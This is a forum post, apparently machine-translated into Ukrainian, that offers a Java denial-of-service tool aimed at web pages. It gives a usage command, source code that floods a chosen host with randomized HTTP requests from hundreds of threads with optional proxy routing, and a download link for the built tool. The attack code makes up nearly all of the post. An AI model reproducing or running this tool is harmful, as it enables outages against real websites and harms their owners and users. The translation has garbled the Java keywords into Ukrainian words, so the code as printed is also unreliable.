|
|
Опубліковано 01.12.2014 15:21:57
|
|
|

Код JAR dDOS-атака, реалізована на Java. Однак це нічим не відрізняється від традиційного dDos. Це програмне забезпечення є DDOS-атакою на сторінку. Як користуватися: java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; import java.net.InetSocketAddress; імпортувати java.nio.ByteBuffer; імпорт java.nio.channels.SelectionKey; імпортувати java.nio.channels.Selector; імпорт java.nio.channels.SocketChannel; import java.util.Iterator; імпортувати java.util.Random; import java.util.Set; import java.util.Timer; import java.util.TimerTask; імпортувати java.util.Vector;
/** * Демонічні нитки
* * @author адміністрація
* */ Публічний класовий тест { приватний String host, uri, param; приватний міжнародний порт; приватний кінцевий Вектор<CCDDOSThread> v = новий Вектор<CCDDOSThread>(); приватний InetSocketAddress isa; приватні int threadsCount = 500; Кількість ниток private Random r = новий Random(); приватний довгий тайм-аут = 5000L;
/** * Відкрийте атаку */ Public void start() { для (int i = 0; I < threadsCount; i++) { CCDDOSThread t = новий CCDDOSThread(); v.add(t); t.start();
} Таймер t = новий таймер(); t.schedule(new TimerTask() { Public Void run() { int count = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); для (ітератор<CCDDOSThread> it = v.ітератор(); it.hasNext(); ) { CCDDOSThread th = it.next(); якщо (th.isCancle() || !th.isAlive()) { it.remove(); th = нуль; count++; } else if (ct - th.start > тайм-аут) { Тайм-аут, зовнішній кінець timeoutthreads++; th.setCancle (true); th.interrupt(); it.remove(); th = нуль; count++; } } якщо (count == 0) { Повернутися; } System.out.println("Потік закрито:"+count+", де підключено тайм-аут потік:" + тайм-аутни); для (int i = 0; Я < раху; i++) { CCDDOSThread th = новий CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("Запущено тему Daemon:"); }
/** * @param args */ public static void main(String[] args) { якщо (args.length < 6) { System.out.println ("Інструкції:"); System.out .println ("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } інакше, якщо (args.length >= 8) { Познайомтеся з агентом System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
тест m = новий тест(); m.host = args[0]; m.port = Ціле число.значенняOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Ціле число.значенняOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = нова InetSocketAddress(m.host, m.port); m.start(); }
/** * Атакуючі нитки * * @author Чжанхунбо * */ клас CCDDOSThread розширює Thread { приватна булева канкле = хибна; публічний довгий старт = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
публічний булевий isCancle() { Повернення Канкле; }
Public Void run() { довгий старт = System.currentTimeMillis(); Селектор селектора; try { selector = Selector.open(); SocketChannel sc; try { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = true; selector.close(); Повернутися; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - почати > тайм-аут) { cancle = true; перерва, чекати; } Set<?> readykey = selector.selectedKeys(); Ітератор<?> it = readykey.iterator(); while (it.hasNext() && !cancle) { if (System.currentTimeMillis() - почати > тайм-аут) { cancle = true; перерва, чекати; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
якщо ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Головка струн = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Хост: " + хост + "\r\n" + "Зв'язок:близько\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write (BBF); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = true; } } }
} [/mw_shl_code]
Готовий продукт і завантаження вихідного коду:
java ddos.zip
(8.42 KB, Кількість завантажень: 0, Ціна продажу: 2 Grain MB)
|
Попередній:Давайте поговоримо про найбільшу загадкову DDoS-атаку з потужністю 400G в історіїНаступний:Надішліть iPhone 6, щоб поговорити про версію без балів для зламування артефактів
|